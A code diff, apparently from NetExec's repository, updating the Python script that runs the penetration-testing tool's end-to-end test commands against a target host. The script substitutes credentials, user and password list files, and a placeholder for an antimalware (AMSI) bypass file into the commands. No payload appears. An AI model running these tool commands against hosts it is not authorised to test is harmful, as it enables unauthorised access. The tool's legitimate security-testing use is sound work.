for line in file:
|
||||
if line.startswith("#"):
|
||||
continue
|
||||
if "#" in line:
|
||||
line = line.split("#")[0]
|
||||
line = line.strip()
|
||||
if args.protocols:
|
||||
if line.split()[1] in args.protocols:
|
||||
@@ -122,11 +159,26 @@ def generate_commands(args):
|
||||
lines.append(replace_command(args, line))
|
||||
return lines
|
||||
|
||||
|
||||
def replace_command(args, line):
|
||||
if isfile(join(getcwd(), args.executable)):
|
||||
args.executable = abspath(join(getcwd(), args.executable))
|
||||
|
||||
kerberos = "-k " if args.kerberos else ""
|
||||
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
|
||||
|
||||
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos).replace("{DNS}", dns_server)
|
||||
line = line\
|
||||
.replace("netexec", args.executable)\
|
||||
.replace("TARGET_HOST", args.target)\
|
||||
.replace("LOGIN_USERNAME", f'"{args.username}"')\
|
||||
.replace("LOGIN_PASSWORD", f'"{args.password}"')\
|
||||
.replace("KERBEROS ", kerberos)\
|
||||
.replace("TEST_USER_FILE", args.test_user_file)\
|
||||
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
|
||||
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
|
||||
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
|
||||
.replace("{DNS}", dns_server)\
|
||||
.replace("/tmp", TMP_PATH)
|
||||
if args.poetry:
|
||||
line = f"poetry run {line}"
|
||||
return line
|
||||
@@ -135,17 +187,19 @@ def replace_command(args, line):
|
||||
def run_e2e_tests(args):
|
||||
console = Console()
|
||||
tasks = generate_commands(args)
|
||||
tasks_len = len(tasks)
|
||||
failures = []
|
||||
|
||||
result = subprocess.Popen(
|
||||
"netexec --version",
|
||||
f"{args.executable} --version",
|
||||
shell=True,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
)
|
||||
version = result.communicate()[0].decode().strip()
|
||||
|
||||
with console.status(f"[bold green] :brain: Running {len(tasks)} test commands for nxc v{version}..."):
|
||||
with console.status(f"[bold green] :brain: Running {tasks_len} test commands for nxc v{version}..."):
|
||||
start_time = time()
|
||||
passed = 0
|
||||
failed = 0
|
||||
|
||||
@@ -154,6 +208,8 @@ def run_e2e_tests(args):
|
||||
# replace double quotes with single quotes for Linux due to special chars/escaping
|
||||
if platform.system() == "Linux":
|
||||
task = task.replace('"', "'")
|
||||
|
||||
# we print the command before running because very often things will timeout and we want the last thing ran
|
||||
console.log(f"Running command: {task}")
|
||||
result = subprocess.Popen(
|
||||
task,
|
||||
@@ -161,13 +217,15 @@ def run_e2e_tests(args):
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
cwd=abspath(join(dirname(__file__), "..")),
|
||||
)
|
||||
|
||||
# pass in a "y" for things that prompt for it (--ndts, etc)
|
||||
text = result.communicate(input=b"y")[0]
|
||||
return_code = result.returncode
|
||||
|
||||
if return_code == 0:
|
||||
console.log(f"{task.strip()} :heavy_check_mark:")
|
||||
if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"):
|
||||
console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]")
|
||||
passed += 1
|
||||
else:
|
||||
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
|
||||
@@ -176,19 +234,20 @@ def run_e2e_tests(args):
|
||||
|
||||
if args.errors:
|
||||
raw_text = text.decode("utf-8")
|
||||
if "error" in raw_text.lower() or "failure" in raw_text.lower():
|
||||
# this is not a good way to detect errors, but it does catch a lot of things
|
||||
if "error" in raw_text.lower() or "failure" in raw_text.lower() or "Traceback (most recent call last)" in raw_text:
|
||||
console.log("[bold red]Error Detected:")
|
||||
console.log(f"{raw_text}")
|
||||
|
||||
if args.verbose:
|
||||
# this prints sorta janky, but it does its job
|
||||
console.log(f"[*] Results:\n{text.decode('utf-8')}")
|
||||
|
||||
if args.print_failures and failures:
|
||||
|
||||
if failures:
|
||||
console.log("[bold red]Failed Commands:")
|
||||
for failure in failures:
|
||||
console.log(f"[bold red]{failure}")
|
||||
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")
|
||||
console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in new issue
Block a user